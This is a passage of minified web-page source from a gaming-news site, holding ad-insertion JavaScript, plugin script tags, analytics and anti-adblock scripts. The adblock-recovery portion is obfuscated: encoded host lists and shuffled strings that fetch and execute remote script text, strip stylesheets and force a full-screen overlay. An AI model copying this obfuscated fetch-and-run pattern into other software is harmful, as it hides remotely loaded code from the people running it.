r=this._getElementCoords(e,n),[i,a]=this._adInjectionMap.findNeighborIndices(r),o=i===null?void 0:this._adInjectionMap.map[i].coords,s=a===null?void 0:this._adInjectionMap.map[a].coords;return(o===void 0||r-t>o)&&(s===void 0||r+t<s)}_isElementNotInRow(e,t){let n=e.previousElementSibling,r=e.nextElementSibling,i=t?!n&&r||n&&e.tagName!==n.tagName?r:n:r;if(!i)return!0;let a=e.getBoundingClientRect();if(a.height===0)return!0;let o=i.getBoundingClientRect();return a.top!==o.top}_calculateMainContentHeightAndAllElements(e,t=document){let[n,r]=Ve(e,this._adInjectionMap,t);if(!n)throw Error(`No main content element found`);this._mainContentDiv=n,this._totalAvailableElements=r,this._mainContentHeight=He(this._mainContentDiv)}_captureDensityElementCoords(){this._densityElementCoords=this._totalAvailableElements.reduce((e,{element:t})=>(e.set(t,{bottom:this._getLiveElementCoords(t),top:this._getLiveElementCoords(t,!0)}),e),new WeakMap)}_capturePreSlotInsertionMainContentMeasurement(){window.adthriveCLS&&(window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.mainContentHeight=this._mainContentHeight:window.adthriveCLS.preSlotInsertionMeasurements={mainContentHeight:this._mainContentHeight})}_capturePreSlotInsertionPageAreaMeasurement(){if(window.adthriveCLS){let e=Ue()*We();window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.totalPageArea=e:window.adthriveCLS.preSlotInsertionMeasurements={totalPageArea:e}}}_getElementCoords(e,t=!1){var n;let r=(n=this._densityElementCoords)==null?void 0:n.get(e);return r?t?r.top:r.bottom:this._getLiveElementCoords(e,t)}_getLiveElementCoords(e,t=!1){let n=e.getBoundingClientRect();return(t?n.top:n.bottom)+window.scrollY}_addContentAd(e,t,n=document){var r;let i=null,a=L(t),o=Oe(t),s=this._clsOptions.siteAds.adOptions.stickyContainerConfig,c=s==null||(r=s.content)==null?void 0:r.enabled,l=c?`adthrive-sticky-container`:``,u=this.addAd(e,this.getDynamicElementId(t),t.position,[l,a,o,...t.classNames]);if(u){let e=we(t,u);if(e.length){var d;(!c||!(!(s==null||(d=s.content)==null)&&d.minHeight))&&(u.style.minHeight=this.locationToMinHeight[t.location]),i={clsDynamicAd:t,dynamicAd:t,element:u,sizes:e,name:`${t.location}_${t.sequence}`,infinite:n!==document}}}return i}getDynamicElementId(e){return`AdThrive_${e.location}_${e.sequence}_${this._device}`}getElements(e,t=document,n){let r=j(e,t);return r.valid,r.elements}_getDynamicAdSelectorContext(e){return{location:e.location,sequence:e.sequence,name:e.name}}_logInvalidBlockedSelector(e,t){}addAd(e,t,n,r=[],i=``){if(!document.getElementById(t)){let a=`<div id="${t}" class="adthrive-ad ${r.join(` `)}"></div>`;i&&(a=`<div class="${i}">${a}</div>`),e.insertAdjacentHTML(n,a)}return document.getElementById(t)}_repeatDynamicAds(t){let n=[],r=t.location===e.Recipe?99:this.locationMaxLazySequence.get(t.location),i=t.lazy?k(r,0):0,a=t.max,o=t.lazyMax,s=i===0&&t.lazy?a+o:Math.min(Math.max(i-t.sequence+1,0),a+o),c=Math.max(a,s);for(let e=0;e<c;e++){let r=Number(t.sequence)+e,i=t.lazy&&e>=a,o=r;t.name===`Recipe_1`&&r>=5&&(o=r+1),n.push({...t,sequence:o,lazy:i})}return n}_locationEnabled(e){let t=this._clsOptions.enabledLocations.includes(e.location),n=this._clsOptions.disableAds&&this._clsOptions.disableAds.all||document.body.classList.contains(`adthrive-disable-all`),r=!document.body.classList.contains(`adthrive-disable-content`)&&!this._clsOptions.disableAds.reasons.has(`content_plugin`);return t&&!n&&r}},Mt=class{constructor(){s(this,`_map`,[])}add(e,t,n,r=document){this._map.push({el:e,coords:t,dynamicAd:n,target:r})}addSorted(e,t,n,r=document){let i=this._upperBoundIndex(t);this._map.splice(i,0,{el:e,coords:t,dynamicAd:n,target:r})}get map(){return this._map}sort(){this._map.sort(({coords:e},{coords:t})=>e-t)}filterUsed(){this._map=this._map.filter(({dynamicAd:e})=>!e.used)}findNeighborIndices(e){let t=this._upperBoundIndex(e);return[t-1>=0?t-1:null,t<this._map.length?t:null]}_upperBoundIndex(e){let t=0,n=this._map.length;for(;t<n;){let r=t+n>>>1;this._map[r].coords<=e?t=r+1:n=r}return t}reset(){this._map=[]}},Nt=class extends Mt{};let Pt=e=>{let t=ne(),n=T(),r=e.siteAdsProfiles,i=null;if(r&&r.length)for(let e of r){let r=e.targeting.device,a=e.targeting.browserEngine,o=r&&r.length&&r.includes(n),s=a&&a.length&&a.includes(t);o&&s&&(i=e)}return i},Ft=e=>{let t=Pt(e);if(t){let e=t.profileId;document.body.classList.add(`raptive-profile-${e}`)}},$={Video_Collapse_Autoplay_SoundOff:`Video_Collapse_Autoplay_SoundOff`,Video_Indiv
993idual_Autoplay_SOff:`Video_Individual_Autoplay_SOff`,Video_Coll_SOff_Smartphone:`Video_Coll_SOff_Smartphone`,Video_In_Post_ClicktoPlay_SoundOn:`Video_In-Post_ClicktoPlay_SoundOn`,Video_Collapse_Autoplay_SoundOff_15s:`Video_Collapse_Autoplay_SoundOff_15s`,Video_Individual_Autoplay_SOff_15s:`Video_Individual_Autoplay_SOff_15s`,Video_Coll_SOff_Smartphone_15s:`Video_Coll_SOff_Smartphone_15s`,Video_In_Post_ClicktoPlay_SoundOn_15s:`Video_In-Post_ClicktoPlay_SoundOn_15s`};var It=class{get enabled(){throw Error(`Enablement must be defined at factory creation time.`)}};let Lt=(e=navigator.userAgent)=>E(e)===`desktop`;var Rt=class extends It{constructor(e,t,n){super(),this._videoConfig=e,this._component=t,this._context=n,s(this,`_potentialPlayerMap`,void 0),s(this,`_device`,void 0),s(this,`_stickyRelatedOnPage`,!1),s(this,`_relatedMediaIds`,[]),this._device=Lt()?`desktop`:`mobile`,this._potentialPlayerMap=this.setPotentialPlayersMap()}setPotentialPlayersMap(){let e=this._videoConfig.players||[],t=this._filterPlayerMap();return t.stationaryRelated=this._getPotentialStationaryPlayers(e,t.stationaryRelated),this._potentialPlayerMap=t,this._potentialPlayerMap}_getPotentialStationaryPlayers(e,t){let n=new Set(t);return e.forEach(e=>e.type===`stationaryRelated`&&e.enabled&&n.add(e)),[...n]}_filterPlayerMap(){let e=this._videoConfig.players,t={stickyRelated:[],stickyPlaylist:[],stationaryRelated:[]};return e&&e.length?e.filter(e=>{var t;return(t=e.devices)==null?void 0:t.includes(this._device)}).reduce((e,t)=>{if(e[t.type]||(F.event(this._component,`constructor`,`Unknown Video Player Type detected`,t.type),e[t.type]=[]),t.enabled){let n=t.type;this._videoConfig.shouldDisableStickyRelated&&t.type===`stickyRelated`&&(n=`stationaryRelated`),e[n].push(t)}return e},t):t}_checkPlayerSelectorOnPage(e){for(let t of this._potentialPlayerMap[e]){let e=this._getPlacementElement(t);if(e)return{player:t,playerElement:e}}return{player:null,playerElement:null}}_getOverrideElement(e,t,n){if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}else{let{player:e,playerElement:t}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}}return n}_shouldOverrideElement(e){let t=e.getAttribute(`override-embed`);return t===`true`||t===`false`?t===`true`:this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.overrideEmbedLocation:!1}_checkPageSelector(e,t,n=[]){return e&&t&&n.length===0?(window.location.pathname!==`/`&&F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`PSNF: ${e} does not exist on the page`}),!1):!0}_getElementSelector(e,t,n){return t&&t.length>n?t[n]:(F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`ESNF: ${e} does not exist on the page`}),null)}_getPlacementElement(e){let{pageSelector:t,elementSelector:n,skip:r}=e,{valid:i,elements:a,...o}=P(t),{valid:s,elements:c,...l}=N(n);return t!==``&&!i?(F.error(`VideoUtils`,`getPlacementElement`,Error(`${t} is not a valid selector`),o),null):s?this._checkPageSelector(t,i,a)&&this._getElementSelector(n,c,r)||null:(F.error(`VideoUtils`,`getPlacementElement`,Error(`${n} is not a valid selector`),l),null)}_getEmbeddedPlayerType(e){if(this._videoConfig.shouldDisableStickyRelated)return`static`;let t=e.getAttribute(`data-player-type`);return(!t||t==="default")&&(t=this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.defaultPlayerType:`static`),this._stickyRelatedOnPage&&(t=`static`),t}_getMediaId(e){let t=e.getAttribute(`data-video-id`);return t?(this._relatedMediaIds.push(t),t):!1}_getOrientation(e){return e.getAttribute(`orientation`)===`vertical`?`vertical`:`horizontal`}_createRelatedPlayer(e,t,n,r,i){t===`collapse`?this._createCollapsePlayer(e,n):t===`static`&&this._createStaticPlayer(e,n,r,i)}_createCollapsePlayer(e,t){let{player:n,playerElement:r}=this._checkPlayerSelectorOnPage(`stickyRelated`),i=n||this._potentialPlayerMap.stationaryRelated[0];i&&i.playerId&&!this._videoConfig.shouldDisableStickyRelated?(this._shouldOverrideElement(t)&&(t=this._getOverrideElement(n,r,t)),t=document.querySelector(`#cls-v
993ideo-container-${e} > div`)||t,this._createStickyRelatedPlayer({...i,mediaId:e},t)):F.error(this._component,`_createCollapsePlayer`,`No video player found`)}_createStaticPlayer(e,t,n,r){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId){let i=this._potentialPlayerMap.stationaryRelated[0];this._createStationaryRelatedPlayer({...i,mediaOrPlaylistId:e,orientation:r},t,n)}else F.error(this._component,`_createStaticPlayer`,`No video player found`)}_shouldRunAutoplayPlayers(){return!!(this._isVideoAllowedOnPage()&&(this._potentialPlayerMap.stickyRelated.length||this._potentialPlayerMap.stickyPlaylist.length))}_setPlaylistMediaIdWhenStationaryOnPage(e,t){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId&&e&&e.length){let n=e[0].getAttribute(`data-video-id`);return n?{...t,mediaId:n}:t}return t}_determineAutoplayPlayers(e){let t=this._component,n=t===`VideoManagerComponent`,r=this._context;if(this._stickyRelatedOnPage){F.event(t,`stickyRelatedOnPage`,n&&{device:r&&r.device,isDesktop:this._device}||{});return}let{playerElement:i}=this._checkPlayerSelectorOnPage(`stickyPlaylist`),{player:a}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);a&&a.playerId&&i?(a=this._setPlaylistMediaIdWhenStationaryOnPage(e,a),this._createPlaylistPlayer(a,i)):Math.random()<.01&&setTimeout(()=>{F.event(t,`noStickyPlaylist`,n&&{vendor:`none`,device:r&&r.device,isDesktop:this._device}||{})},1e3)}_initializeRelatedPlayers(e){let t=new Map;for(let n=0;n<e.length;n++){let r=e[n],i=r.offsetParent,a=this._getEmbeddedPlayerType(r),o=this._getMediaId(r),s=this._getOrientation(r);if(i&&o){let e=(t.get(o)||0)+1;t.set(o,e),this._createRelatedPlayer(o,a,r,e,s)}}}},zt=class extends Rt{constructor(e,t){super(e,`ClsVideoInsertion`),this._videoConfig=e,this._clsOptions=t,s(this,`_IN_POST_SELECTOR`,`.adthrive-video-player`),s(this,`_WRAPPER_BAR_HEIGHT`,36),s(this,`_playersAddedFromPlugin`,[]),t.removeVideoTitleWrapper&&(this._WRAPPER_BAR_HEIGHT=0)}init(){this._initializePlayers()}_wrapVideoPlayerWithCLS(e,t,n=0,r=`horizontal`){if(e.parentNode){let i=e.offsetWidth,a=r===`vertical`;a&&this._device===`desktop`&&(i*=.5);let o=i*(a?16/9:9/16),s=this._createGenericCLSWrapper(o,t,n);return e.parentNode.insertBefore(s,e),s.appendChild(e),s}return null}_createGenericCLSWrapper(e,t,n){let r=document.createElement(`div`);return r.id=`cls-video-container-${t}`,r.className=`adthrive`,r.style.minHeight=`${e+n}px`,r}_getTitleHeight(){let e=document.createElement(`h3`);e.style.margin=`10px 0`,e.innerText=`Title`,e.style.visibility=`hidden`,document.body.appendChild(e);let t=window.getComputedStyle(e),n=parseInt(t.height,10),r=parseInt(t.marginTop,10),i=parseInt(t.marginBottom,10);return document.body.removeChild(e),Math.min(n+i+r,50)}_initializePlayers(){let e=document.querySelectorAll(this._IN_POST_SELECTOR);e.length&&this._initializeRelatedPlayers(e),this._shouldRunAutoplayPlayers()&&this._determineAutoplayPlayers(e)}_createStationaryRelatedPlayer(e,t,n){let r=this._device===`mobile`?[400,225]:[640,360],i=$.Video_In_Post_ClicktoPlay_SoundOn;if(t&&e.mediaOrPlaylistId){let a=`${e.mediaOrPlaylistId}_${n}`,o=this._wrapVideoPlayerWithCLS(t,a,0,e.orientation);this._playersAddedFromPlugin.push(e.mediaOrPlaylistId),o&&this._clsOptions.setInjectedVideoSlots({playerId:e.playerId,playerName:i,playerSize:r,element:o,type:`stationaryRelated`})}}_createStickyRelatedPlayer(e,t){if(this._videoConfig.shouldDisableStickyRelated)return;let n=this._device===`mobile`?[400,225]:[640,360],r=$.Video_Individual_Autoplay_SOff;if(this._stickyRelatedOnPage=!0,this._videoConfig.mobileStickyPlayerOnPage=this._device===`mobile`,this._videoConfig.collapsiblePlayerOnPage=!0,t&&e.position&&e.mediaId){let i=document.createElement(`div`);t.insertAdjacentElement(e.position,i);let a=this._getTitleHeight(),o=this._wrapVideoPlayerWithCLS(i,e.mediaId,this._WRAPPER_BAR_HEIGHT+a);this._playersAddedFromPlugin.push(e.mediaId),o&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:n,playerName:r,element:i,type:`stickyRelated`})}}_createPlaylistPlayer(e,t){let n=e.playlistId,r=this._device===`mobile`?$.Video_Coll_SOff_Smartphone:$.Video_Collapse_Autoplay_SoundOff,i=this._device===`mobile`?[400,225]:[640,360];this._videoConfig.mobileStickyPlayerOnPage=!0,this._videoConfig.collapsiblePlayerOnPage=!0;let a=document.createElement(`div`);t.insertAdjacentElement(e.position,a);let o=this._WRAPPER_BAR_HEIGHT;e.title&&(o+=this._getTitleHeight());let s=this._wrapVideoPlayerWithCLS(a,n,o);this._playersAddedFromPlugin.push(`playlist-${n}`),s&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:i,playerName:r,element:a,type:`stickyPlaylist`})}_isVideoAllowedOnPage(){let e=this._clsOptions.disableAds;if(e&&e.video){let t=``;e.reasons.has(`video_plugin`)?t=`video plugin`:e.reasons.has(`video_page`)&&(t=`command queue`);let n=t?`ClsVideoInsertionMigrated`:`ClsVideoInsertion`;return F.error(n,`isVideoAllowedOnPage`,Error(`DBP: Disabled by publisher via ${t||`other`}`)),!1}return!this._clsOptions.videoDisabledFromPlugin}};try{(()=>{let e=new c;
993!e||!e.enabled||(e.siteAds&&Ft(e.siteAds),new jt(e,new Nt).start(),new zt(new fe(e),e).init())})()}catch(e){F.error(`CLS`,`pluginsertion-iife`,e),window.adthriveCLS&&(window.adthriveCLS.injectedFromPlugin=!1)}})();</script>
993<script data-no-optimize="1" data-cfasync="false">(function () {var clsElements = document.querySelectorAll("script[id^='cls-']"); window.adthriveCLS && clsElements && clsElements.length === 0 ? window.adthriveCLS.injectedFromPlugin = false : ""; })();</script>
993<script type="speculationrules">
994{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"\/*"},{"not":{"href_matches":["\/wp-*.php","\/wp-admin\/*","\/wp-content\/uploads\/*","\/wp-content\/*","\/wp-content\/plugins\/*","\/wp-content\/themes\/mp1st2024theme\/*","\/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
995</script>
995
996 <section class="bafg_popup_preview">
997        <div class="bafg_popup_preview_content">
998        <div class="close" title="Exit Full Screen">╳</div>
999        <div id="bafg_popup_wrap"></div>
1000        </div>
1001    </section><div id="loading-image"></div>
1001<script src="https://mp1st.com/wp-content/plugins/beaf-before-and-after-gallery-pro/assets/js/jquery.keyframes.js" id="bafg_keyframes-js"></script>
vendor: 1 bytes, line 1001
1001
1002<script id="bafg_custom_js-js-extra">
1003var bafg_constant_obj = {"ajax_url":"https:\/\/mp1st.com\/wp-admin\/admin-ajax.php","site_url":"\/var\/www\/html\/public_html\/wp-content\/plugins\/beaf-before-and-after-gallery\/"};
1004</script>
vendor: 1 bytes, line 1004
1004
1005<script src="https://mp1st.com/wp-content/plugins/beaf-before-and-after-gallery/assets/js/bafg-custom-js.js?ver=4.6.11" id="bafg_custom_js-js"></script>
vendor: 1 bytes, line 1005
1005
1006<script id="bafg_custom_pro-js-extra">
1007var bafg_ajax_url = {"ajax_url":"https:\/\/mp1st.com\/wp-content\/plugins\/beaf-before-and-after-gallery-pro\/"};
1008</script>
vendor: 1 bytes, line 1008
1008
1009<script src="https://mp1st.com/wp-content/plugins/beaf-before-and-after-gallery-pro/assets/js/bafg-custom-pro.js?ver=4.4.0" id="bafg_custom_pro-js"></script>
vendor: 1 bytes, line 1009
1009
1010<script src="https://mp1st.com/wp-content/plugins/beaf-before-and-after-gallery-pro/inc/filter-gallery/js/isotope.pkgd.min.js" id="bafg-isotope-min-js"></script>
vendor: 1 bytes, line 1010
1010
1011<script src="https://mp1st.com/wp-content/plugins/beaf-before-and-after-gallery-pro/inc/filter-gallery/js/bafg-isotope-init.js" id="bafg-isotope-init-js"></script>
vendor: 1 bytes, line 1011
1011
1012<script src="https://mp1st.com/wp-content/themes/mp1st2024theme/js/navigation.js?ver=1.0.0" id="mp1st-navigation-js"></script>
vendor: 1 bytes, line 1012
1012
1013<script src="https://mp1st.com/wp-content/themes/mp1st2024theme/build/css/darkmode.js" id="darkmode-js-js"></script>
vendor: 1 bytes, line 1013
1013
1014<script id="mobile-menu-js-extra">
1015var ajax_object = {"ajax_url":"https:\/\/mp1st.com\/wp-admin\/admin-ajax.php","post_id":"145721"};
1016</script>
vendor: 1 bytes, line 1016
1016
1017<script src="https://mp1st.com/wp-content/themes/mp1st2024theme/js/mobile-menu.js" id="mobile-menu-js"></script>
vendor: 1 bytes, line 1017
1017
1018<script id="news-pagination-js-extra">
1019var admin_ajax_object = {"ajaxurl":"https:\/\/mp1st.com\/wp-admin\/admin-ajax.php","nonce":"43b7c340d8"};
1020</script>
vendor: 1 bytes, line 1020
1020
1021<script src="https://mp1st.com/wp-content/themes/mp1st2024theme/js/news-pagination.js" id="news-pagination-js"></script>
vendor: 1 bytes, line 1021
1021
1022<script id="patches-pagination-js-extra">
1023var admin_ajax_object = {"ajaxurl":"https:\/\/mp1st.com\/wp-admin\/admin-ajax.php","nonce":"43b7c340d8"};
1024</script>
vendor: 1 bytes, line 1024
1024
1025<script src="https://mp1st.com/wp-content/themes/mp1st2024theme/js/patches-pagination.js" id="patches-pagination-js"></script>
vendor: 1 bytes, line 1025
1025
1026<script id="jetpack-stats-js-before">
1027_stq = window._stq || [];
1028_stq.push([ "view", {"v":"ext","blog":"47008371","post":"145721","tz":"-4","srv":"mp1st.com","j":"1:15.6.1"} ]);
1029_stq.push([ "clickTrackerInit", "47008371", "145721" ]);
1030</script>
vendor: 1 bytes, line 1030
1030
1031<script src="https://stats.wp.com/e-202640.js" id="jetpack-stats-js" defer data-wp-strategy="defer"></script>
vendor: 1 bytes, line 1031
1031
1032<script data-no-optimize='1' data-cfasync='false' id='adblock-detection-86c50ec'>(function(){(function(e){if(e.cookie.indexOf(`__adblocker`)===-1){let t=!1,n=function(){t=!0};window.addEventListener(`pagehide`,n);let r=navigator.userAgent,i=/AppleWebKit/.test(r)&&!/Chrome/.test(r)||/\b(iPad|iPhone|iPod)\b/.test(r),a=new XMLHttpRequest;a.open(`GET`,`https://ads.adthrive.com/abd/abd.js`,!0),a.onreadystatechange=function(){if(a.readyState===4){if(window.removeEventListener(`pagehide`,n),a.status===200){let t=e.createElement(`script`);t.innerHTML=a.responseText,e.getElementsByTagName(`head`)[0].appendChild(t);return}if(!navigator.onLine||t||i&&e.visibilityState===`hidden`)return;let r=new Date;r.setTime(r.getTime()+300*1e3),e.cookie=`__adblocker=true; expires=`+r.toUTCString()+`; path=/`}},a.send()}})(document)})();</script>
1032<script data-no-optimize='1' data-cfasync='false' data-abr-mode='light' id='adblock-recovery-86c50ec'>(function(){(function(){var e=document.currentScript,t=e&&e.dataset&&e.dataset.abrMode?e.dataset.abrMode:`light`;function n(){var e=document.cookie.match(`(^|[^;]+)\\s*__adblocker\\s*=\\s*([^;]+)`);return e&&e.pop()}function r(){var e=document.createElement(`script`);e.async=!0,e.id=`Tqgkgu`,e.setAttribute(`data-sdk`,`l/1.1.15`),e.setAttribute(`data-cfasync`,`false`),e.src=`https://html-load.com/loader.min.js`,e.charset=`UTF-8`,e.setAttribute(`data`,`kfpvgbrkab9r4a5rkrqrkwagrw6rzrv8rxag0asrka5abaoagrxa5srxrxabasrkrvabaoaxrx0asrkabrxfaba1raa5a5asrkr9wa1agrw6rzr9rkaia8`),e.setAttribute(`onload`,`(async()=>{let e='html-'+'load.com';const t=window,a=document,r=e=>new Promise((t=>{const a=.1*e,r=e+Math.floor(2*Math.random()*a)-a;setTimeout(t,r)})),o=t.addEventListener.bind(t),n=t.postMessage.bind(t),s=btoa,i='message',l=location,c=Math.random;try{const t=()=>new Promise(((e,t)=>{let a=c().toString(),r=c().toString();o(i,(e=>e.data===a&&n(r,'*'))),o(i,(t=>t.data===r&&e())),n(a,'*'),setTimeout((()=>{t(Error('Timeout'))}),1231)})),a=async()=>{try{let e=!1;const a=c().toString();if(o(i,(t=>{t.data===a+'_as_res'&&(e=!0)})),n(a+'_as_req','*'),await t(),await r(500),e)return!0}catch(e){}return!1},s=[100,500,1e3];for(let o=0;o<=s.length&&!await a();o++){if(o===s.length-1)throw'Failed to load website properly since '+e+' is tainted. Please allow '+e;await r(s[o])}}catch(d){try{const e=a.querySelector('script#Tqgkgu').getAttribute('onerror');t[s(l.hostname+'_show_bfa')]=d,await new Promise(((t,r)=>{o('message',(e=>{'as_modal_loaded'===e.data&&t()})),setTimeout((()=>r(d)),3e3);const n=a.createElement('script');n.innerText=e,a.head.appendChild(n),n.remove()}))}catch(m){(t=>{const a='https://report.error-report.com/modal';try{confirm('There was a problem loading the page. Please click OK to learn more.')?l.href=a+'?url='+s(l.href)+'&error='+s(t)+'&domain='+e:l.reload()}catch(d){location.href=a+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+e}})(d)}}})();`),e.setAttribute(`onerror`,`(async()=>{const e=window,t=document;let r=JSON.parse(atob('WyJodG1sLWxvYWQuY29tIiwiZmIuaHRtbC1sb2FkLmNvbSIsImQzN2o4cGZ4dTJpb2dpLmNsb3VkZnJvbnQubmV0IiwiY29udGVudC1sb2FkZXIuY29tIiwiZmIuY29udGVudC1sb2FkZXIuY29tIl0=')),o=r[0];const a='addEventListener',n='setAttribute',s='getAttribute',i=location,l=clearInterval,c='as_retry',d=i.hostname,h=e.addEventListener.bind(e),m=btoa,u='https://report.error-report.com/modal',b=e=>{try{confirm('There was a problem loading the page. Please click OK to learn more.')?i.href=u+'?url='+m(i.href)+'&error='+m(e)+'&domain='+o:i.reload()}catch(t){location.href=u+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+o}},p=async e=>{try{localStorage.setItem(i.host+'_fa_'+m('last_bfa_at'),Date.now().toString())}catch(p){}setInterval((()=>t.querySelectorAll('link,style').forEach((e=>e.remove()))),100);const r=await fetch('https://error-report.com/report?type=loader_light&url='+m(i.href)+'&error='+m(e),{method:'POST'}).then((e=>e.text())),a=new Promise((e=>{h('message',(t=>{'as_modal_loaded'===t.data&&e()}))}));let s=t.createElement('iframe');s.src=u+'?url='+m(i.href)+'&eventId='+r+'&error='+m(e)+'&domain='+o,s[n]('style','width:100vw;height:100vh;z-index:2147483647;position:fixed;left:0;top:0;');const c=e=>{'close-error-report'===e.data&&(s.remove(),removeEventListener('message',c))};h('message',c),t.body.appendChild(s);const d=setInterval((()=>{if(!t.contains(s))return l(d);(()=>{const e=s.getBoundingClientRect();return'none'!==getComputedStyle(s).display&&0!==e.width&&0!==e.height})()||(l(d),b(e))}),1e3);await new Promise(((t,r)=>{a.then(t),setTimeout((()=>r(e)),3e3)}))},f=m(d+'_show_bfa');if(e[f])p(e[f]);else try{if(void 0===e[c]&&(e[c]=0),e[c]>=r.length)throw'Failed to load website properly since '+o+' is blocked. Please allow '+o;if((()=>{const t=e=>{let t=0;for(let r=0,o=e.length;o>r;r++)t=(t<<5)-t+e.charCodeAt(r),t|=0;return t},r=Date.now(),o=r-r%864e5,a=o-864e5,n=o+864e5,s='loader-check',i='as_'+t(s+'_'+o),l='as_'+t(s+'_'+a),c='as_'+t(s+'_'+n);return i!==l&&i!==c&&l!==c&&!!(e[i]||e[l]||e[c])})())return;const i=t.querySelector('#Tqgkgu'),l=t.createElement('script');for(let e=0;e<i.attributes.length;e++)l[n](i.attributes[e].name,i.attributes[e].value);const h=m(d+'_onload');e[h]&&l[a]('load',e[h]);const u=m(d+'_onerror');e[u]&&l[a]('error',e[u]);const b=new e.URL(i[s]('src'));b.host=r[e[c]++],l[n]('src',b.href),i[n]('id',i[s]('id')+'_'),i.parentNode.insertBefore(l,i),i.remove()}catch(w){try{await p(w)}catch(w){b(w)}}})();`),document.head.appendChild(e);var t=document.createElement(`script`);t.setAttribute(`data-cfasync`,`false`),t.setAttribute(`nowprocket`,``),t.textContent=`(async()=>{function t(t) { const e = t.length; let o = ''; for (let r = 0; e > r; r++) { o += t[2939 * (r + 20) % e] } return o }const e=window,o=t('Elementcreate'),r=t('pielnddaCph'),n=t('erdeLtedvtsnaEni'),c=t('tAtesetubirt'),a=document,i=a.head,s=a[o].bind(a),d=i[r].bind(i),l=location,m=l.hostname,h=btoa;e[n].bind(e);let u=t('oad.comhtml-l');(async()=>{try{const n=a.querySelector(t('#Tqgkguscript'));if(!n)throw t('onnaC dnif t')+u+t('i.cp rts');const i=n.getAttribute(t('nororre')),f=n.getAttribute(t('aolnod')),p=await new Promise((o=>{const r=t('x')+Math.floor(1e6*Math.random());e[r]=()=>o(!0);const n=s(t('pircst'));n.src=t(':atad;'),n[c](t('nororre'),t('iw.wodn')+r+t('()')),d(n),setTimeout((()=>{o(!1), n.remove()}),251)}));if(p)return;function o(){const e=s(t('pircst'));e.innerText=i,d(e),e.remove()}const b=h(m+t('o_daoln')),w=h(m+t('rrnr_eoo'));e[b]=function(){const e=s(t('pircst'));e.innerText=f,d(e),e.remove()},e[w]=o,o()}catch(r){(e => { const o = t('ro/treeol/t-.dsoormterpmh/.rca:rrtopp'); try { const r = t('cleopr   eges.eke aremtc. m Ta apdo ool t ahrOsaibwr iPhl enKegnlael'); confirm(r) ? l.href = o + t('?=lru') + h(l.href) + t('e&=rorr') + h(e) + t('a=oi&mnd') + u : l.reload() }
1032 catch (r) { location.href = o + t('J%ndVVNdvrYGQiI=Q2&ee0IWatrgbD?&lJZmnows3==mBroerW') + u } })(r)}})()})();`,document.head.appendChild(t)}function i(){var e=document.createElement(`script`);e.setAttribute(`data-cfasync`,`false`),e.dataset.domain=`html-load.cc`,e.textContent=`(function(){function p(){const X=['W64nwmoJW7hdK8kjW7BcUMu','W60xWQxcMW','WRabWRBcHq','W7fJWRm/','xmoZvmkR','W6BdLSo8Aq','W59mcrC','qdZdImop','WQuUq0S','W5WQW4FdLW','pCkHygO','WPHguSoy','W6tcGaHl','qN/dRSkS','W4b6WO0','W4fucuW','W4tdNSoVeq','W5pcISoUwq','aa0ywq','amkvhuu','mZhcMmkm','WOm3WOKv','WRVcH8kkwmoJBCoXW5/cMq','x8kPW57dTG','mSo9se8','EIvxoW','W51ihf8','WRexWQFcJG','g3BdPCox','cWSCrq','W6L+WQ1G','mCkIBMS','W5WIW4JdISkVW5BdRCkPnCku','W7rtW7JcNG','WORcSWu','W5hdR8o0W4y','nSkKW6NdVW','jqBcUXO','ax7cMa','W6iex8oZjCk9W45Utq','WPPqv8oz','W6zsWQhcRa','W4JdHmk1bG','sSo9q8kS','kItcN1O','W4tdN8kSfW','WQ5Aa8k0','W5mgdvW','kYhcVIK','fmozW7a/','W6n9WQvR','W7b1WQ5X','WRizWPW','hSkGW43dKa','W6OgvSoJW4hdUSkWW4dcGKa','aHSvBa','WP8SWOGi','rmkkqH3cM23cPSoHW7xcOq','WO7cI0ZcKa','W4ZdH8kHW4e','WRldMLuoWRqlFSkYr8o+W4pdGG','jH3cRmkA','A8k6c2FdS2tdSuldSW','oY3cGWe','W6FdNmoqCq','c2dcLwy','v2ubWOC','o8oju8og','W4xdLSkYwq','WRfEW6NdHG','W78yW6BcRa','nmovW60S','WOhcQSkWWPPqB2tdUaPvC8o/','WO3dG8kPhW','W47dKCk2','a8kTW4tcSa','WOvmaSop','dwdcJNK','WRnnW69a','sNFdRG','WOrwwCow','WRewWQu','o1BcPCkx','tCo7DmkP','WQObWQFcJq','jWVdSLG','z8o0mem0lYJcT8kq','W4hcTbpdGG','a8kNW7ZdKq','pcxcJCkr','xCkWuSkM','WPGsrq4qWQz2s8oPW6RdPW','fCkGW4i','WOqDwHPcW4KGWOJcJW','CSkWz2u','WOS/W4/dNa','xdddQmop','WQ/dMSojW58','WPXru8of','pvZcS8oEkaVdLgbvlMK','W7nrW7lcVJRdUYVcTvO','WP5dwSof','WO9qsmoh','W4ebdSkkamkLrZCvW5mDFG','wMOrWOm','udJdUCoc','vNCgWOm','mCkNqgy','W7/dR8kGbq','m8kKW7m','W5ZcNCk+W5i','WQ0cWOLG','W7FcVCooca','CCo0WRpdNeryoCk4lW','zv/cPmks','cwNdJCog','rNxdVSk6','WRjrW5a9','W79lW69f','W5T2W4Tq','ue9ieCowrwlcUMpdUNDw','W4BdNSk3','xSkQW6VdJa','pN8jWPG','nmoTyge','E1RcPe/